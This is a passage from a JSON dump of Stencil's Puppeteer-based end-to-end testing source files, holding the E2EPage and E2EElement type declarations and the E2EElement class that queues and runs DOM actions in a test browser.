require(env.__STENCIL_PUPPETEER_MODULE__);\n\n  return await (puppeteer.connect as typeof connect)(connectOpts);\n}\n\nexport async function disconnectBrowser(browser: Browser) {\n  if (browser) {\n    try {\n      browser.disconnect();\n    } catch (e) {}\n  }\n}\n\nexport function newBrowserPage(browser: Browser) {\n  return browser.newPage();\n}\n"
  },
  {
    "path": "src/testing/puppeteer/puppeteer-declarations.ts",
    "content": "import type { EventInitDict, EventSpy, ScreenshotDiff, ScreenshotOptions } from '@stencil/core/internal';\nimport type {\n  ClickOptions,\n  HTTPResponse,\n  Page,\n  ScreenshotOptions as PuppeteerScreenshotOptions,\n  WaitForOptions,\n} from 'puppeteer';\n\n/**\n * This type was once exported by Puppeteer, but has since moved to an object literal in (Puppeteer’s) native types.\n * Re-create it here as a named type to use across multiple Stencil-related testing files.\n */\nexport type PageCloseOptions = {\n  runBeforeUnload?: boolean;\n};\n\nexport interface NewE2EPageOptions extends WaitForOptions {\n  url?: string;\n  html?: string;\n  /**\n   * If set to `true`, Stencil will throw an error if a console error occurs\n   */\n  failOnConsoleError?: boolean;\n  /**\n   * If set to `true`, Stencil will throw an error if a network request fails\n   */\n  failOnNetworkError?: boolean;\n  /**\n   * If set to `true`, Stencil will log failing network requests\n   * @default true\n   */\n  logFailingNetworkRequests?: boolean;\n}\n\ntype Omit<T, K> = Pick<T, Exclude<keyof T, K>>;\ntype PuppeteerPage = Omit<\n  Page,\n  | 'bringToFront'\n  | 'browser'\n  | 'screenshot'\n  | 'emulate'\n  | 'emulateMedia'\n  | 'frames'\n  | 'goBack'\n  | 'goForward'\n  | 'isClosed'\n  | 'mainFrame'\n  | 'pdf'\n  | 'reload'\n  | 'target'\n  | 'title'\n  | 'viewport'\n  | 'waitForNavigation'\n  | 'screenshot'\n  | 'workers'\n  | 'addListener'\n  | 'prependListener'\n  | 'prependOnceListener'\n  | 'removeAllListeners'\n  | 'setMaxListeners'\n  | 'getMaxListeners'\n  | 'listeners'\n  | 'rawListeners'\n  | 'emit'\n  | 'eventNames'\n  | 'listenerCount'\n  | '$x'\n  | 'waitForXPath'\n>;\n\nexport interface PageDiagnostic {\n  type: 'error' | 'pageerror' | 'requestfailed';\n  message?: string;\n  location?: string;\n}\n\n/**\n * The E2EPage is a wrapper utility to Puppeteer in order to\n * to create easier to write and read end-to-end tests.\n */\nexport interface E2EPage extends PuppeteerPage {\n  /**\n   * `Experimental`\n   * Takes a screenshot of the page, then compares the current screenshot\n   * against the master screenshot. The returned screenshot compare\n   * results can then be used to test pixel mismatches, such as\n   * `expect(results).toMatchScreenshot()`.\n   */\n  compareScreenshot(): Promise<ScreenshotDiff>;\n\n  /**\n   * `Experimental`\n   * Takes a screenshot of the page, then compares the current screenshot\n   * against the master screenshot. The provided `description` will be\n   * added onto its current description, which comes from the test description.\n   */\n  compareScreenshot(description: string): Promise<ScreenshotDiff>;\n\n  /**\n   * `Experimental`\n   * Takes a screenshot of the page, then compares the current screenshot\n   * against the master screenshot. The `opts` argument can be used to\n   * customize screenshot options.\n   */\n  compareScreenshot(opts: ScreenshotOptions): Promise<ScreenshotDiff>;\n\n  /**\n   * `Experimental`\n   * Takes a screenshot of the page, then compares the current screenshot\n   * against the master screenshot. The `description` argument will be\n   * added onto its current description, which comes from the test description.\n   * The `opts` argument can be used to customize screenshot options.\n   */\n  compareScreenshot(description: string, opts: ScreenshotOptions): Promise<ScreenshotDiff>;\n\n  /**\n   * Sets a debugger;\n   */\n  debugger(): Promise<void>;\n\n  /**\n   * Find an element that matches the selector, which is the same as\n   * `document.querySelector(selector)`. Use `>>>` within the\n   * selector to find an element within the host element's shadow root.\n   * For example, to select the first `div` inside of the component\n   * `my-cmp`, the call would be `page.find('my-cmp >>> div')`.\n   * Returns `null` if an element was not found.\n   */\n  find(selector: FindSelector): Promise<E2EElement>;\n\n  /**\n   * Find all elements that match the selector, which is the same as\n   * `document.querySelectorAll(selector)`. Use `>>>` within the\n   * selector to find elements within the host element's shadow root.\n   * For example, to select all of the `li` elements inside of the component\n   * `my-cmp`, the call would be `page.findAll('my-cmp >>> li')`.\n   * Returns an empty array if no elements were found.\n   */\n  findAll(selector: string): Promise<E2EElement[]>;\n\n  /**\n   * During an end-to-end test, a dev-server is started so `page.goto(url)` can be used\n   * on the app being tested. Urls are always relative since the dev server provides\n   * a localhost address. A shortcut to `page.goto(url)` is to set the `url` option\n   * when creating a new page, such as `const page = await newE2EPage({ url })`.\n   */\n  goTo(url: string, options?: WaitForOptions): Promise<HTTPResponse | null>;\n\n  /**\n   * Instead of testing a url directly, html content can be mocked using\n   * `page.setContent(html)`. A shortcut to `page.setContent(html)` is to set\n   * the `html` option when creating a new page, such as\n   * `const page = await newE2EPage({ html })`.\n   */\n  setContent(html: string, options?: WaitForOptions): Promise<void>;\n\n  /**\n   * Used to test if an event was, or was not dispatched. This method\n   * returns a promise, that resolves with an EventSpy. The EventSpy\n   * can be used along with `expect(spy).toHaveReceivedEvent()`,\n   * `expect(spy).toHaveReceivedEventTimes(x)` and\n   * `expect(spy).toHaveReceivedEventDetail({...})`.\n   */\n  spyOnEvent(eventName: string, selector?: 'window' | 'document'): Promise<EventSpy>;\n\n  /**\n   * Both Stencil and Puppeteer have an asynchronous architecture, which is a good thing\n   * for performance. Since all calls are async, it's required that\n   * `await page.waitForChanges()` is called when changes are made to components.\n   * An error will be thrown if changes were made to a component but `waitForChanges()`\n   * was not called.\n   */\n  waitForChanges(): Promise<void>;\n\n  /**\n   * Waits for the event to be received on `window`. The optional second argument\n   * allows the listener to be set to `document` if needed.\n   */\n  waitForEvent(eventName: string): Promise<any>;\n\n  getDiagnostics(): PageDiagnostic[];\n}\n\nexport interface E2EPageInternal extends E2EPage {\n  isClosed(): boolean;\n  _e2eElements: E2EElementInternal[];\n  _e2eEvents: Map<number, WaitForEvent>;\n  _e2eEventIds: number;\n  _e2eGoto(url: string, options?: Partial<WaitForOptions>): Promise<HTTPResponse | null>;\n  _e2eClose(options?: PageCloseOptions): Promise<void>;\n  screenshot(options?: PuppeteerScreenshotOptions): Promise<Buffer>;\n}\n\nexport interface E2EElement {\n  /**\n   * Used to call a method on a component. For example, if a component\n   * has the method `cmp.myMethod(arg1, arg2)`, calling this method\n   * from a e2e test could be `cmp.callMethod('myMethod', arg1, arg2)`.\n   */\n  callMethod(methodName: string, ...methodArgs: any[]): Promise<any>;\n\n  /**\n   * Gets and sets the value of the class attribute of the e2e element.\n   * Note that `await page.waitForChanges()` must be called before reading\n   * the value if content has changed.\n   */\n  className: string;\n\n  /**\n   * Using classList is a convenient alternative to accessing an element's list\n   * of classes as a space-delimited string via `element.className`.\n   */\n  classList: {\n    /**\n     * Add specified class values. If these classes already exist in\n     * attribute of the element, then they are ignored.\n     */\n    add: (...tokens: string[]) => void;\n\n    /**\n     * Remove specified class values. Note: Removing a class that does\n     * not exist does NOT throw an error.\n     */\n    remove: (...tokens: string[]) => void;\n\n    /**\n     * If class exists then remove it, if not, then add it.\n     */\n    toggle: (token: string) => void;\n\n    /**\n     * Checks if specified class value exists in class attribute of the element.\n     */\n    contains: (className: string) => boolean;\n  };\n\n  /**\n   * Calling `click()` on an element scrolls it into view if needed, and\n   * then uses `page.mouse` to click in the center of the element.\n   * Please see the puppeteer docs for more information.\n   */\n  click(options?: ClickOptions): Promise<void>;\n\n  /**\n   * Find a child element that matches the selector, which is the same as\n   * `element.querySelector(selector)`. Use `>>>` within the\n   * selector to find an element within a host element's shadow root.\n   * For example, to select the first `div` inside of the component\n   * `my-cmp`, which is a child of this element, the call would be\n   * `element.find('my-cmp >>> div')`. Returns `null` if no\n   * elements were found.\n   */\n  find(selector: FindSelector): Promise<E2EElement>;\n\n  /**\n   * Find all child elements that match the selector, which is the same as\n   * `element.querySelectorAll(selector)`. Use `>>>` within the\n   * selector to find elements within a host element's shadow root.\n   * For example, to select all `li` elements inside of the component\n   * `my-cmp`, which is a child of this element, the call would be\n   * `element.findAll('my-cmp >>> li')`. Returns an empty array if\n   * no elements were found.\n   */\n  findAll(selector: FindSelector): Promise<E2EElement[]>;\n\n  /**\n   * Sets focus on the element.\n   */\n  focus(): Promise<void>;\n\n  /**\n   * Returns the value of a specified attribute on the element. If the\n   * given attribute does not exist, the value returned will be null.\n   */\n  getAttribute(name: string): string;\n\n  /**\n   * Used to get a property set on a component. For example, if a\n   * component has the property `elm.myProp`, then calling\n   * `elm.getProperty('myProp')` would return the `myProp` property value.\n   */\n  getProperty(propertyName: string): Promise<any>;\n\n  /**\n   * Returns an object that reports the values of all CSS properties of this\n   * element after applying active stylesheets and resolving any basic computation\n   * those values may contain. Individual CSS property values are accessed by\n   * simply indexing with CSS property names. The method is shortcut and an async\n   * version of using `window.getComputedStyle(element)` directly.\n   */\n  getComputedStyle(pseudoElt?: string | null): Promise<CSSStyleDeclaration>;\n\n  /**\n   * Sets hover on the element.\n   */\n  hover(): Promise<void>;\n\n  /**\n   * Gets and sets `id` property of the element.\n   * Note that `await page.waitForChanges()` must be called before reading\n   * the value if content has changed.\n   */\n  id: string;\n\n  /**\n   * Gets and sets `innerHTML` property of the element.\n   * Note that `await page.waitForChanges()` must be called before reading\n   * the value if content has changed.\n   */\n  innerHTML: string;\n\n  /**\n   * Gets and sets `innerText` property of the element.\n   * Note that `await page.waitForChanges()` must be called before reading\n   * the value if content has changed.\n   */\n  innerText: string;\n\n  /**\n   * Resolves to true if the element is visible in the current viewport.\n   */\n  isIntersectingViewport(): Promise<boolean>;\n\n  /**\n   * Resolves `true` when the element's style is `display !== 'none'`,\n   * `visibility !== 'hidden'` and `opacity !== '0'`.\n   */\n  isVisible(): Promise<boolean>;\n\n  /**\n   * Node name of the node, which in an element's case is the tag name.\n   * Note, this will always be upper-cased.\n   */\n  nodeName: string;\n\n  /**\n   * The type of a node represented by a number.\n   * Element = 1, TextNode = 3, Comment = 8,\n   * Document Fragment (also what a shadow root is) = 11.\n   */\n  nodeType: number;\n\n  /**\n   * Gets the element's `outerHTML. This is a read-only property and will\n   * throw an error if set.\n   */\n  outerHTML: string;\n\n  /**\n   * Focuses the element, and then uses `keyboard.down` and `keyboard.up`.\n   * If key is a single character and no modifier keys besides Shift are\n   * being held down, a keypress/input event will also be generated. The\n   * text option can be specified to force an input event to be generated.\n   * Note: Modifier keys DO effect `elementHandle.press`. Holding down Shift\n   * will type the text in upper case.\n   * Key names: https://github.com/puppeteer/puppeteer/blob/main/src/common/USKeyboardLayout.ts\n   */\n  press(key: string, options?: { text?: string; delay?: number }): Promise<void>;\n\n  /**\n   * Removes the attribute on the specified element. Note that\n   * `await page.waitForChanges()` must be called before reading\n   * the value if content has changed.\n   */\n  removeAttribute(name: string): void;\n\n  /**\n   * Sets the value of an attribute on the specified element. If the\n   * attribute already exists, the value is updated; otherwise a new\n   * attribute is added with the specified name and value. The value\n   * will always be converted to a string. Note that\n   * `await page.waitForChanges()` must be called before reading\n   * the value if content has changed.\n   */\n  setAttribute(name: string, value: any): void;\n\n  /**\n   * Used to set a property set on a component. For example, if a\n   * component has the property `elm.myProp`, then calling\n   * `elm.setProperty('myProp', 88)` would set the value `88` to\n   * the `myProp` property on the component.\n   */\n  setProperty(propertyName: string, value: any): void;\n\n  /**\n   * The ShadowRoot interface of the Shadow DOM API is the root node of a\n   * DOM subtree that is rendered separately from a document's main DOM tree.\n   * This value will be `null` if the element does not have a `shadowRoot`.\n   */\n  shadowRoot: ShadowRoot;\n\n  /**\n   * Used to test if an event was, or was not dispatched. This method\n   * returns a promise, that resolves with an EventSpy. The EventSpy\n   * can be used along with `expect(spy).toHaveReceivedEvent()`,\n   * `expect(spy).toHaveReceivedEventTimes(x)` and\n   * `expect(spy).toHaveReceivedEventDetail({...})`.\n   */\n  spyOnEvent(eventName: string): Promise<EventSpy>;\n\n  /**\n   * Represents the tab order of the current element. Setting the\n   * `tabIndex` property will also set the `tabindex` attribute.\n   */\n  tabIndex: number;\n\n  /**\n   * Tag name of the element. Note, this will always be upper-cased.\n   */\n  tagName: string;\n\n  /**\n   * This method scrolls the element it into view if needed,\n   * and then uses `page.touchscreen` to tap in the center of the element.\n   */\n  tap(): Promise<void>;\n\n  /**\n   * The `textContent` property represents the text content of a node\n   * and its descendants. Note that `await page.waitForChanges()` must\n   * be called before reading the value if content has changed.\n   */\n  textContent: string;\n\n  /**\n   * Represents the `title` of the element, the text usually displayed in a\n   * 'tool tip' popup when the mouse is over the displayed node.\n   */\n  title: string;\n\n  /**\n   * Toggles a `boolean` attribute (removing it if it is present and adding\n   * it if it is not present) on the given element. Note that\n   * `await page.waitForChanges()` must be called before reading\n   * the value if content has changed. The optional `force` argument is a\n   * `boolean` value to determine whether the attribute should be added or\n   * removed, no matter whether the attribute is present or not at the moment.\n   */\n  toggleAttribute(name: string, force?: boolean): void;\n\n  /**\n   * This is a convenience method to easily create a `CustomEvent`,\n   * and dispatch it from the element, to include any custom event\n   * `detail` data as the second argument.\n   */\n  triggerEvent(eventName: string, eventInitDict?: EventInitDict): void;\n\n  /**\n   * Sends a keydown, keypress/input, and keyup event for each character in the text.\n   * To press a special key, like Control or ArrowDown, use `keyboard.press`.\n   */\n  type(text: string, options?: { delay: number }): Promise<void>;\n\n  /**\n   * Waits until the element's style is `display !== 'none'`,\n   * `visibility !== 'hidden'`, `opacity !== '0'` and the element\n   * is connected to the document.\n   */\n  waitForVisible(): Promise<void>;\n\n  /**\n   * Waits until the element's style is `display === 'none'`, or\n   * `visibility === 'hidden'`, or `opacity === '0'`, or the element\n   * is no longer connected to the document.\n   */\n  waitForNotVisible(): Promise<void>;\n\n  /**\n   * Waits until the given event is listened in the element.\n   */\n  waitForEvent(eventName: string): Promise<any>;\n}\n\nexport interface E2EElementInternal extends E2EElement {\n  e2eDispose(): Promise<void>;\n  e2eRunActions(): Promise<unknown>;\n  e2eSync(): Promise<void>;\n}\n\nexport type FindSelector = string | FindSelectorOptions;\n\nexport interface FindSelectorOptions {\n  /**\n   * Finds an element with text content matching this\n   * exact value after the whitespace has been trimmed.\n   */\n  text?: string;\n\n  /**\n   * Finds an element with text content containing this value.\n   */\n  contains?: string;\n}\n\nexport interface WaitForEventOptions {\n  timeout?: number;\n}\n\nexport interface WaitForEvent {\n  eventName: string;\n  callback: (ev: any) => void;\n}\n\nexport interface BrowserWindow extends Window {\n  stencilOnEvent(id: number, event: any): void;\n  stencilSerializeEvent(ev: CustomEvent): any;\n  stencilSerializeEventTarget(target: any): any;\n  stencilAppLoaded: boolean;\n}\n"
  },
  {
    "path": "src/testing/puppeteer/puppeteer-element.ts",
    "content": "import type { EventInitDict, SerializedEvent } from '@stencil/core/internal';\nimport { cloneAttributes, MockHTMLElement, parseHtmlToFragment } from '@stencil/core/mock-doc';\nimport type * as puppeteer from 'puppeteer';\n\nimport type * as pd from './puppeteer-declarations';\nimport { addE2EListener, EventSpy, waitForEvent } from './puppeteer-events';\n\nexport class E2EElement extends MockHTMLElement implements pd.E2EElementInternal {\n  private _queuedActions: ElementAction[] = [];\n\n  private _queueAction(action: ElementAction) {\n    this._queuedActions.push(action);\n  }\n\n  constructor(\n    private _page: pd.E2EPageInternal,\n    private _elmHandle: puppeteer.ElementHandle,\n  ) {\n    super(null, null);\n    _page._e2eElements.push(this);\n  }\n\n  find(selector: string) {\n    return find(this._page, this._elmHandle, selector);\n  }\n\n  findAll(selector: string) {\n    return findAll(this._page, this._elmHandle, selector);\n  }\n\n  callMethod(methodName: string, ...methodArgs: any[]) {\n    this._queueAction({\n      methodName: methodName,\n      methodArgs: methodArgs,\n    });\n\n    return this.e2eRunActions();\n  }\n\n  triggerEvent(eventName: string, eventInitDict?: EventInitDict) {\n    this._queueAction({\n      eventName: eventName,\n      eventInitDict: eventInitDict,\n    });\n  }\n\n  async spyOnEvent(eventName: string) {\n    const eventSpy = new EventSpy(eventName);\n\n    await addE2EListener(this._page, this._elmHandle, eventName, (ev: SerializedEvent) => {\n      eventSpy.push(ev);\n    });\n\n    return eventSpy;\n  }\n\n  override async click(options?: puppeteer.ClickOptions) {\n    await this._elmHandle.click(options);\n    await this._page.waitForChanges();\n  }\n\n  override async focus() {\n    await this._elmHandle.focus();\n    await this._page.waitForChanges();\n  }\n\n  async hover() {\n    await this._elmHandle.hover();\n    await this._page.waitForChanges();\n  }\n\n  async isVisible() {\n    this._validate();\n\n    let isVisible = false;\n\n    try {\n      const executionContext = getPuppeteerExecution(this._elmHandle);\n      isVisible = await executionContext.evaluate((elm: Element) => {\n        return new Promise<boolean>((resolve) => {\n          window.requestAnimationFrame(() => {\n            if (elm.isConnected) {\n              const style = window.getComputedStyle(elm);\n              const isVisible =\n                !!style && style.display !== 'none' && style.visibility !== 'hidden' && style.opacity !== '0';\n\n              if (isVisible) {\n                window.requestAnimationFrame(() => {\n                  elm.clientWidth;\n                  resolve(true);\n                });\n              } else {\n                resolve(false);\n              }\n            } else {\n              resolve(false);\n            }\n          });\n        });\n      }, this._elmHandle);\n    } catch (e) {}\n\n    return isVisible;\n  }\n\n  waitForEvent(eventName: string) {\n    return waitForEvent(this._page, eventName, this._elmHandle);\n  }\n\n  waitForVisible() {\n    return new Promise<void>((resolve, reject) => {\n      const checkVisible = async () => {\n        const isVisible = await this.isVisible();\n        if (isVisible) {\n          clearInterval(resolveTmr);\n          clearTimeout(rejectTmr);\n          resolve();\n        }\n      };\n      const resolveTmr = setInterval(checkVisible, 10);\n      /**\n       * When using screenshot functionality in a runner that is not Jasmine (e.g. Jest Circus), we need to set a\n       * default value for timeouts. There are runtime errors that occur if we attempt to use optional chaining +\n       * nullish coalescing with the `jasmine` global stating it's not defined. As a result, we use a ternary here.\n       *\n       * The '2500' value that we default to is the value of `jasmine.DEFAULT_TIMEOUT_INTERVAL` (5000) divided by 2.\n       */\n      const timeout =\n        typeof jasmine !== 'undefined' && jasmine.DEFAULT_TIMEOUT_INTERVAL\n          ? jasmine.DEFAULT_TIMEOUT_INTERVAL * 0.5\n          : 2500;\n      const timeoutError = new Error(`waitForVisible timed out: ${timeout}ms`);\n      const rejectTmr = setTimeout(() => {\n        clearTimeout(resolveTmr);\n        reject(timeoutError);\n      }, timeout);\n    });\n  }\n\n  waitForNotVisible() {\n    return new Promise<void>((resolve, reject) => {\n      const checkVisible = async () => {\n        const isVisible = await this.isVisible();\n        if (!isVisible) {\n          clearInterval(resolveTmr);\n          clearTimeout(rejectTmr);\n          resolve();\n        }\n      };\n      const resolveTmr = setInterval(checkVisible, 10);\n      /**\n       * When using screenshot functionality in a runner that is not Jasmine (e.g. Jest Circus), we need to set a\n       * default value for timeouts. There are runtime errors that occur if we attempt to use optional chaining +\n       * nullish coalescing with the `jasmine` global stating it's not defined. As a result, we use a ternary here.\n       *\n       * The '2500' value that we default to is the value of `jasmine.DEFAULT_TIMEOUT_INTERVAL` (5000) divided by 2.\n       */\n      const timeout =\n        typeof jasmine !== 'undefined' && jasmine.DEFAULT_TIMEOUT_INTERVAL\n          ? jasmine.DEFAULT_TIMEOUT_INTERVAL * 0.5\n          : 2500;\n      const timeoutError = new Error(`waitForNotVisible timed out: ${timeout}ms`);\n      const rejectTmr = setTimeout(() => {\n        clearTimeout(resolveTmr);\n        reject(timeoutError);\n      }, timeout);\n    });\n  }\n\n  isIntersectingViewport() {\n    return this._elmHandle.isIntersectingViewport();\n  }\n\n  async press(key: puppeteer.KeyInput, options?: { text?: string; delay?: number }) {\n    await this._elmHandle.press(key, options);\n    await this._page.waitForChanges();\n  }\n\n  async tap() {\n    await this._elmHandle.tap();\n    await this._page.waitForChanges();\n  }\n\n  async type(text: string, options?: { delay: number }) {\n    await this._elmHandle.type(text, options);\n    await this._page.waitForChanges();\n  }\n\n  async getProperty(propertyName: string) {\n    this._validate();\n\n    const executionContext = getPuppeteerExecution(this._elmHandle);\n    const propValue = await executionContext.evaluate(\n      (elm: any, propertyName: string) => {\n        return elm[propertyName];\n      },\n      this._elmHandle,\n      propertyName,\n    );\n\n    return propValue;\n  }\n\n  setProperty(propertyName: string, value: any) {\n    this._queueAction({\n      setPropertyName: propertyName,\n      setPropertyValue: value,\n    });\n  }\n\n  override getAttribute(name: string) {\n    this._validate();\n    return super.getAttribute(name);\n  }\n\n  override setAttribute(name: string, value: any) {\n    this._queueAction({\n      setAttributeName: name,\n      setAttributeValue: value,\n    });\n  }\n\n  override removeAttribute(name: string) {\n    this._queueAction({\n      removeAttribute: name,\n    });\n  }\n\n  toggleAttribute(name: string, force?: boolean) {\n    this._queueAction({\n      toggleAttributeName: name,\n      toggleAttributeForce: force,\n    });\n  }\n\n  override get classList() {\n    const api: any = {\n      add: (...classNames: string[]) => {\n        classNames.forEach((className) => {\n          this._queueAction({\n            classAdd: className,\n          });\n        });\n      },\n      remove: (...classNames: string[]) => {\n        classNames.forEach((className) => {\n          this._queueAction({\n            classRemove: className,\n          });\n        });\n      },\n      toggle: (className: string) => {\n        this._queueAction({\n          classToggle: className,\n        });\n      },\n      contains: (className: string) => {\n        this._validate();\n        return super.className.split(' ').includes(className);\n      },\n    };\n    return api;\n  }\n\n  override get className() {\n    this._validate();\n    return super.className;\n  }\n\n  override set className(value: string) {\n    this._queueAction({\n      setPropertyName: 'className',\n      setPropertyValue: value,\n    });\n  }\n\n  override get id() {\n    this._validate();\n    return super.id;\n  }\n\n  override set id(value: string) {\n    this._queueAction({\n      setPropertyName: 'id',\n      setPropertyValue: value,\n    });\n  }\n\n  override get innerHTML() {\n    this._validate();\n    return super.innerHTML;\n  }\n\n  override set innerHTML(value: string) {\n    this._queueAction({\n      setPropertyName: 'innerHTML',\n      setPropertyValue: value,\n    });\n  }\n\n  override get innerText() {\n    this._validate();\n    return super.innerText;\n  }\n\n  override set innerText(value: string) {\n    this._queueAction({\n      setPropertyName: 'innerText',\n      setPropertyValue: value,\n    });\n  }\n\n  override get nodeValue() {\n    this._validate();\n    return super.nodeValue;\n  }\n\n  override set nodeValue(value: string) {\n    if (typeof value === 'string') {\n      this._queueAction({\n        setPropertyName: 'nodeValue',\n        setPropertyValue: value,\n      });\n    }\n  }\n\n  override get outerHTML() {\n    this._validate();\n    return super.outerHTML;\n  }\n\n  override set outerHTML(_: any) {\n    throw new Error(`outerHTML is read-only`);\n  }\n\n  override get shadowRoot() {\n    this._validate();\n    return super.shadowRoot;\n  }\n\n  override set shadowRoot(value: any) {\n    super.shadowRoot = value;\n  }\n\n  override get tabIndex() {\n    this._validate();\n    return super.tabIndex;\n  }\n\n  override set tabIndex(value: number) {\n    this._queueAction({\n      setPropertyName: 'tabIndex',\n      setPropertyValue: value,\n    });\n  }\n\n  override get textContent() {\n    this._validate();\n    return super.textContent;\n  }\n\n  override set textContent(value: string) {\n    this._queueAction({\n      setPropertyName: 'textContent',\n      setPropertyValue: value,\n    });\n  }\n\n  override get title() {\n    this._validate();\n    return super.title;\n  }\n\n  override set title(value: string) {\n    this._queueAction({\n      setPropertyName: 'title',\n      setPropertyValue: value,\n    });\n  }\n\n  async getComputedStyle(pseudoElt?: string | null) {\n    const style = await this._page.evaluate(\n      (elm: Element, pseudoElt: string) => {\n        const rtn: any = {};\n\n        const computedStyle = window.getComputedStyle(elm, pseudoElt);\n\n        const keys = [\n          ...Object.keys(computedStyle),\n          /**\n           * include CSS variables defined within the style attribute\n           * of an element, e.g.:\n           * ```\n           * <my-component style=\"--my-component-text-color: rgb(255, 0, 0);\"></my-component>\n           * ```\n           */\n          ...Array.from((elm as HTMLElement).style),\n        ];\n\n        keys.forEach((key) => {\n          if (isNaN(key as any)) {\n            const value =\n              /**\n               * access property directly for any known css property\n               */\n              computedStyle[key as any] ||\n              /**\n               * use `getPropertyValue` for css variables\n               */\n              computedStyle.getPropertyValue(key);\n            if (value != null) {\n              rtn[key] = value;\n            }\n          } else {\n            const dashProp = computedStyle[key as any];\n            if (dashProp.includes('-')) {\n              const value = computedStyle.getPropertyValue(dashProp);\n              if (value != null) {\n                rtn[dashProp] = value;\n              }\n            }\n          }\n        });\n\n        return rtn;\n      },\n      this._elmHandle,\n      pseudoElt,\n    );\n\n    style.getPropertyValue = (propName: string) => {\n      return style[propName];\n    };\n\n    return style;\n  }\n\n  async e2eRunActions() {\n    if (this._queuedActions.length === 0) {\n      return;\n    }\n\n    const executionContext = getPuppeteerExecution(this._elmHandle);\n    const rtn = await executionContext.evaluate(\n      (elm: Element, queuedActions: ElementAction[]) => {\n        // BROWSER CONTEXT\n        // cannot use async/await in here cuz typescript transpiles it in the node context\n        return (elm as any).componentOnReady().then(() => {\n          let rtn: any = null;\n\n          queuedActions.forEach((queuedAction) => {\n            if (queuedAction.methodName) {\n              rtn = (elm as any)[queuedAction.methodName].apply(elm, queuedAction.methodArgs);\n            } else if (queuedAction.setPropertyName) {\n              (elm as any)[queuedAction.setPropertyName] = queuedAction.setPropertyValue;\n            } else if (queuedAction.setAttributeName) {\n              elm.setAttribute(queuedAction.setAttributeName, queuedAction.setAttributeValue);\n            } else if (queuedAction.removeAttribute) {\n              elm.removeAttribute(queuedAction.removeAttribute);\n            } else if (queuedAction.toggleAttributeName) {\n              if (typeof queuedAction.toggleAttributeForce === 'boolean') {\n                elm.toggleAttribute(queuedAction.toggleAttributeName, queuedAction.toggleAttributeForce);\n              } else {\n                elm.toggleAttribute(queuedAction.toggleAttributeName);\n              }\n            } else if (queuedAction.classAdd) {\n              elm.classList.add(queuedAction.classAdd);\n            } else if (queuedAction.classRemove) {\n              elm.classList.remove(queuedAction.classRemove);\n            } else if (queuedAction.classToggle) {\n              elm.classList.toggle(queuedAction.classToggle);\n            } else if (queuedAction.eventName) {\n              const eventInitDict = queuedAction.eventInitDict || {};\n\n              if (typeof eventInitDict.bubbles !== 'boolean') {\n                eventInitDict.bubbles = true;\n              }\n\n              if (typeof eventInitDict.cancelable !== 'boolean') {\n                eventInitDict.cancelable = true;\n              }\n\n              if (typeof eventInitDict.composed !== 'boolean') {\n                eventInitDict.composed = true;\n              }\n\n              const ev = new CustomEvent(queuedAction.eventName, eventInitDict);\n              elm.dispatchEvent(ev);\n            }\n          });\n\n          if (rtn && typeof rtn.then === 'function') {\n            return rtn.then((value: any) => {\n              return value;\n            });\n          }\n\n          return rtn;\n        });\n      },\n      this._elmHandle,\n      this._queuedActions as any,\n    );\n\n    this._queuedActions.length = 0;\n\n    return rtn;\n  }\n\n  async e2eSync() {\n    const executionContext = getPuppeteerExecution(this._elmHandle);\n    const { outerHTML, shadowRootHTML } = await executionContext.evaluate((elm: Element) => {\n      return {\n        outerHTML: elm.outerHTML,\n        shadowRootHTML: elm.shadowRoot ? elm.shadowRoot.innerHTML : null,\n      };\n    }, this._elmHandle);\n\n    if (typeof shadowRootHTML === 'string') {\n      (this as any).shadowRoot = parseHtmlToFragment(shadowRootHTML) as any;\n      (this as any).shadowRoot.host = this;\n    } else {\n      (this as any).shadowRoot = null;\n    }\n\n    const frag = parseHtmlToFragment(outerHTML);\n\n    const rootElm = frag.firstElementChild;\n\n    /**\n     * in case the user called `newE2EPage` without any content `rootElm` will be undefined\n     * and further operations will fail. We need to check for this case and return early.\n     */\n    if (!rootElm) {\n      return;\n    }\n\n    this.nodeName = rootElm.nodeName;\n    this.attributes = cloneAttributes(rootElm.attributes);\n\n    while (this.childNodes.length > 0) {\n      this.removeChild(this.childNodes[0]);\n    }\n\n    while (rootElm.childNodes.length > 0) {\n      this.appendChild(rootElm.childNodes[0]);\n    }\n  }\n\n  private _validate() {\n    if (this._queuedActions.length > 0) {\n      throw new Error(`await page.waitForChanges() must be called before reading element information`);\n    }\n  }\n\n  async e2eDispose() {\n    if (this._elmHandle) {\n      await this._elmHandle.dispose();\n      this._elmHandle = null;\n    }\n\n    const index = this._page._e2eElements.indexOf(this);\n    if (index > -1) {\n      this._page._e2eElements.splice(index, 1);\n    }\n\n    this._page = null;\n  }\n}\n\nexport async function find(page: pd.E2EPageInternal, rootHandle: puppeteer.ElementHandle, selector: pd.FindSelector) {\n  const { lightSelector, text, contains } = getSelector(selector);\n\n  let elmHandle: puppeteer.ElementHandle;\n\n  if (typeof selector === 'string' && selector.includes('>>>')) {\n    const handle = await page.$(selector);\n\n    if (!handle) {\n      return null;\n    }\n\n    const elm = new E2EElement(page, handle);\n    await elm.e2eSync();\n    return elm;\n  }\n\n  if (typeof lightSelector === 'string') {\n    elmHandle = await findWithCssSelector(rootHandle, lightSelector);\n  } else {\n    elmHandle = await findWithText(page, rootHandle, text, contains);\n  }\n\n  if (!elmHandle) {\n    return null;\n  }\n\n  const elm = new E2EElement(page, elmHandle);\n  await elm.e2eSync();\n  return elm;\n}\n\nasync function findWithCssSelector(rootHandle: puppeteer.ElementHandle, lightSelector: string) {\n  const elmHandle = await rootHandle.$(lightSelector);\n\n  if (!elmHandle) {\n    return null;\n  }\n\n  return elmHandle;\n}\n\nasync function findWithText(\n  page: pd.E2EPageInternal,\n  rootHandle: puppeteer.ElementHandle,\n  text: string,\n  contains: string,\n) {\n  const jsHandle = await page.evaluateHandle(\n    (rootElm: Element, text: string, contains: string) => {\n      let foundElm: HTMLElement | null = null;\n\n      function checkContent(elm: Node) {\n        if (!elm || foundElm) {\n          return;\n        }\n\n        if (elm.nodeType === 3) {\n          if (typeof text === 'string' && elm.textContent.trim() === text) {\n            foundElm = elm.parentElement;\n            return;\n          }\n          if (typeof contains === 'string' && elm.textContent.includes(contains)) {\n            foundElm = elm.parentElement;\n            return;\n          }\n        } else {\n          if (elm.nodeName === 'SCRIPT' || elm.nodeName === 'STYLE') {\n            return;\n          }\n          checkContent((elm as Element).shadowRoot);\n          if (elm.childNodes) {\n            for (let i = 0; i < elm.childNodes.length; i++) {\n              checkContent(elm.childNodes[i]);\n            }\n          }\n        }\n      }\n\n      checkContent(rootElm);\n\n      return foundElm;\n    },\n    rootHandle,\n    text,\n    contains,\n  );\n\n  if (jsHandle) 